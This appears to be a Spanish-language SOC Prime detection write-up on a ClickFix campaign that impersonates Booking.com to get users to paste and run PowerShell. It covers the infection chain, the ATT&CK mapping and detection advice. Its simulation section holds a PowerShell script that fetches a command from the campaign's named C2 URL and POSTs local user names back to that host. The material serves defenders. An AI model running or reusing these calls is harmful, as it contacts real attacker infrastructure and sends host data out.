SOC Prime Bias: Medio

24 Apr 2026 13:26 UTC

Analizando una cadena de ataque completa de ClickFix (parte 1)

Author Photo
SOC Prime Team linkedin icon Seguir
Analizando una cadena de ataque completa de ClickFix (parte 1)
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

El informe describe una campaña de ClickFix en la que un sitio web malicioso se hace pasar por Booking.com para persuadir a los usuarios a copiar y ejecutar un comando de PowerShell. Una vez ejecutado, el comando lanza un script de PowerShell sin archivo que descarga un archivo ZIP de segunda etapa. El droppper recolecta información del host, escribe la carga útil en el directorio temporal, y crea persistencia tanto a través de una clave de registro Run como de una tarea programada. La cadena completa de infección se basa en contenido web convincente y en la ejecución impulsada por el usuario en lugar de un exploit obvio.

Investigación

Los analistas de Stormshield capturaron el JavaScript responsable de recuperar un comando de PowerShell de un dominio de comando y control y colocarlo en el portapapeles del usuario. También analizaron el droppper de PowerShell, que recolectó información detallada del sistema a través de consultas WMI y variables de entorno antes de exfiltrar los datos mediante una solicitud GET. El mismo droppper luego descargó un archivo ZIP de un segundo dominio, extrajo su contenido y configuró la persistencia en el host comprometido. Los investigadores mapearon los comportamientos y técnicas observadas con sus respectivos identificadores MITRE ATT&CK.

Mitigación

Las organizaciones deben bloquear los dominios maliciosos y URLs vinculados a la campaña ClickFix y aplicar un filtro web estricto para reducir la exposición a páginas de aterrizaje de tipo phishing. Los defensores deben monitorear la ejecución de PowerShell con indicadores como -ExecutionPolicy Bypass y configuraciones de ventana oculta, al tiempo que limitan la ejecución de scripts de PowerShell sin firmar a través del control de aplicaciones. Las detecciones adicionales deben centrarse en la creación de claves de registro Run sospechosas y tareas programadas con nombres desconocidos.

Respuesta

Los equipos de seguridad deben alertar sobre el tráfico saliente hacia los dominios de comando y control identificados y sobre líneas de comando de PowerShell que utilicen Invoke-Expression para ejecutar contenido recuperado remotamente. La lógica de detección también debe cubrir la creación del valor de registro Run específico y el nombre de la tarea programada asociada con la campaña. Si se confirma la actividad, aísle el punto final inmediatamente, recolecte evidencia volátil y realice una revisión forense de los archivos temporales y la carga útil descargada.

"graph TB %% Definiciones de Clase classDef action fill:#99ccff classDef technique fill:#ffeb99 classDef tool fill:#ccffcc classDef process fill:#ffcccc classDef persistence fill:#ddddff %% Nodos action_initial["<b>Acción</b> – Acceso Inicial: Página web de copia-pega malicioso"] tech_user_exec["<b>Técnica</b> – T1204.004 Ejecución del Usuario: Copia y pega malicioso"] process_ps["<b>Proceso</b> – Comando PowerShell copiado al portapapeles"] tech_ps["<b>Técnica</b> – T1059.001 PowerShell"] tech_process_inject["<b>Técnica</b> – T1055.011 Inyección de Proceso"] action_discovery["<b>Acción</b> – Descubrimiento del Sistema"] tech_account_discovery["<b>Técnica</b> – T1087 Descubrimiento de Cuenta"] tech_security_sw["<b>Técnica</b> – T1518.001 Descubrimiento de Software de Seguridad"] tech_time_discovery["<b>Técnica</b> – T1124 Descubrimiento de Hora del Sistema"] action_c2["<b>Acción</b> – Comando y Control"] tech_http_c2["<b>Técnica</b> – T1071.001 Protocolos Web (HTTP)"] action_download["<b>Acción</b> – Descarga de Carga Útil"] tech_ingress["<b>Técnica</b> – T1105 Transferencia de Herramientas de Ingreso"] action_deploy["<b>Acción</b> – Desplegar carga útil (Extracción ZIP)"] action_persistence["<b>Acción</b> – Establecimiento de Persistencia"] tech_registry_run["<b>Técnica</b> – T1547.001 Claves de Run del Registro / Carpeta de Inicio"] tech_scheduled_task["<b>Técnica</b> – T1053.005 Tarea/Trabajo Programado: Al Iniciar Sesión"] action_final["<b>Acción</b> – Ejecución final de la carga útil"] process_payload["<b>Proceso</b> – Ejecutable o archivo por lotes extraído"] %% Conexiones action_initial –>|dispara| tech_user_exec tech_user_exec –>|lleva a| process_ps process_ps –>|ejecuta| tech_ps tech_ps –>|puede realizar| tech_process_inject tech_process_inject –>|habilita| action_discovery action_discovery –>|usa| tech_account_discovery action_discovery –>|usa| tech_security_sw action_discovery –>|usa| tech_time_discovery action_discovery –>|envía datos a| action_c2 action_c2 –>|usa| tech_http_c2 action_c2 –>|dispara| action_download action_download –>|usa| tech_ingress action_download –>|almacena archivo en| action_deploy action_deploy –>|crea| action_persistence action_persistence –>|usa| tech_registry_run action_persistence –>|recurre| tech_scheduled_task action_persistence –>|habilita| action_final action_final –>|lanza| process_payload %% Asignaciones de Clase class action_initial action class tech_user_exec technique class process_ps process class tech_ps technique class tech_process_inject technique class action_discovery action class tech_account_discovery technique class tech_security_sw technique class tech_time_discovery technique class action_c2 action class tech_http_c2 technique class action_download action class tech_ingress technique class action_deploy action class action_persistence action class tech_registry_run technique class tech_scheduled_task technique class action_final action class process_payload process "

Flujo de Ataque

Ejecución de Simulación

Prerrequisito: La Comprobación Preliminar de Telemetría & Línea Base debe haber pasado.

Razonamiento: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTP identificados y apuntar a generar la telemetría exacta esperado por la lógica de detección.

  • Narrativa & Comandos de Ataque:
    Un atacante, habiendo obtenido un punto de apoyo en una estación de trabajo interna comprometida, emite un comando de PowerShell de una línea que contacta la URL de C2 de ClickFix con el ?get_command=1 parámetro vía un POST HTTP. El servidor devuelve una carga útil de PowerShell que enumera las cuentas de usuario locales (T1087), verifica la hora del sistema (T1124), descubre productos de seguridad instalados (T1518.001), y luego copia el resultado al portapapeles. El contenido del portapapeles se publica posteriormente de vuelta en el servidor ClickFix para exfiltración, cumpliendo T1204.004 y T1547.001. Este patrón de tráfico exacto coincide con la regla Sigma request_uri|contains: "?get_command=1" and http_method: POST condiciones.

  • Guion de Prueba de Regresión:

    # Simulación de Fetch de Comando ClickFix – activa la regla Sigma
    $url = "https://accountpulsecentre.help/ern-ZIoCCeHgBJpt2g33q1ZHZmrC2jCoRE1hGJ5O38s?get_command=1"
    $payload = @{
        dummy = "data"
    }
    
    # Enviar la solicitud POST maliciosa
    $response = Invoke-WebRequest -Uri $url -Method POST -Body ($payload | ConvertTo-Json) -ContentType "application/json"
    
    # Simular ejecución del comando PowerShell obtenido (simplificado)
    $psCommand = $response.Content
    Write-Output "Comando obtenido: $psCommand"
    
    # Para demostración, ejecute un subconjunto inofensivo (e.g., obtener usuarios locales) y copie al portapapeles
    $users = Get-LocalUser | Select-Object -ExpandProperty Name
    $usersString = $users -join "`n"
    Set-Clipboard -Value $usersString
    
    # Exfiltrar contenido del portapapeles de vuelta en el servidor ClickFix (simulado)
    $exfilUrl = "https://accountpulsecentre.help/collect"
    Invoke-WebRequest -Uri $exfilUrl -Method POST -Body @{clipboard=$usersString} -ContentType "application/x-www-form-urlencoded"
  • Comandos de Limpieza:

    # Elimine cualquier archivo temporal o artefactos creados durante la prueba
    Clear-Clipboard
    Write-Output "Limpieza completa – portapapeles borrado."